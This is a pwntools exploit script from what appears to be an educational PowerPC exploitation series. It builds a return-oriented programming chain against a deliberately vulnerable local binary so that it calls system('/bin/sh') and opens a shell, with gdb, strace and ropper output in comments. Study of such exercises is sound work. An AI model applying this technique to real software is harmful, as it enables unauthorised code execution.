-
Notifications
You must be signed in to change notification settings - Fork 93
/
06-system-rop.py
executable file
·94 lines (78 loc) · 2.27 KB
/
06-system-rop.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/python
"""
(gdb) disassemble vulnerable
Dump of assembler code for function vulnerable:
0x1000052c <+0>: stwu r1,-144(r1)
...
0x10000580 <+84>: lwz r0,4(r11)
0x10000584 <+88>: mtlr r0
0x10000588 <+92>: lwz r31,-4(r11)
0x1000058c <+96>: mr r1,r11
0x10000590 <+100>: blr
End of assembler dump.
(gdb) b vulnerable
Breakpoint 1 at 0x10000540: file src/06-system-rop.c, line 6.
(gdb) b *0x10000580
Breakpoint 2 at 0x10000580: file src/06-system-rop.c, line 11.
(gdb) b *0x10000590
Breakpoint 3 at 0x10000590: file src/06-system-rop.c, line 11.
(gdb) c
Continuing.
Breakpoint 1, vulnerable () at src/06-system-rop.c:6
6 printf("> ");
(gdb) p &buffer[0]
$1 = 0xffffdda8 "\377\377\336\b"
(gdb) c
Continuing.
Breakpoint 2, 0x10000580 in vulnerable () at src/06-system-rop.c:11
11 }
(gdb) p/x $r11+4
$2 = 0xffffde34
(gdb) c
Continuing.
Breakpoint 3, 0x10000590 in vulnerable () at src/06-system-rop.c:11
11 }
(gdb) i r $r1
r1 0xffffde30 4294958640
"""
"""
$ qemu-ppc -L /usr/powerpc-linux-gnu/ -strace ./bin/ppc/06-system-rop
...
21069 openat(AT_FDCWD,"/lib/libc.so.6",O_RDONLY|O_CLOEXEC) = 3
...
21069 mmap2(0x0fe2c000,1848680,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0x0fe2c000
...
"""
"""
$ ropper --nocolor --file /usr/powerpc-linux-gnu/lib/libc-2.27.so
0x00123b38: lwz r0, 0x34(r1); mr r3, r31; lwz r31, 0x2c(r1); addi r1, r1, 0x30; mtlr r0; blr;
"""
import struct
import sys
from pwn import *
context(arch='powerpc', os='linux', endian='big', word_size=32)
binary_path = './bin/ppc/06-system-rop'
libc_path = '/usr/powerpc-linux-gnu/lib/libc-2.27.so'
saved_pc_addr = 0xffffde34
buffer_addr = 0xffffdda8
libc_addr = 0x0fe2c000
mr_r3_r31_lwz_r31_addr = libc_addr + 0x00123b38
libc = ELF(libc_path)
system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + libc.search('/bin/sh\x00').next()
p = process(binary_path)
#p = gdb.debug([binary_path])
payload = ''
payload += 'a' * (saved_pc_addr - buffer_addr)
payload += p32(mr_r3_r31_lwz_r31_addr)
# <- $r1 + 8
payload += 'b' * (0x2c - 8)
payload += p32(bin_sh_addr) # r31
payload += 'c' * (0x34 - 4 - 0x2c)
payload += p32(mr_r3_r31_lwz_r31_addr) # r0
# <- $r1 + 8
payload += 'd' * (0x34 - 8)
payload += p32(system_addr) # r0
p.readuntil('> ')
p.write(payload)
p.interactive()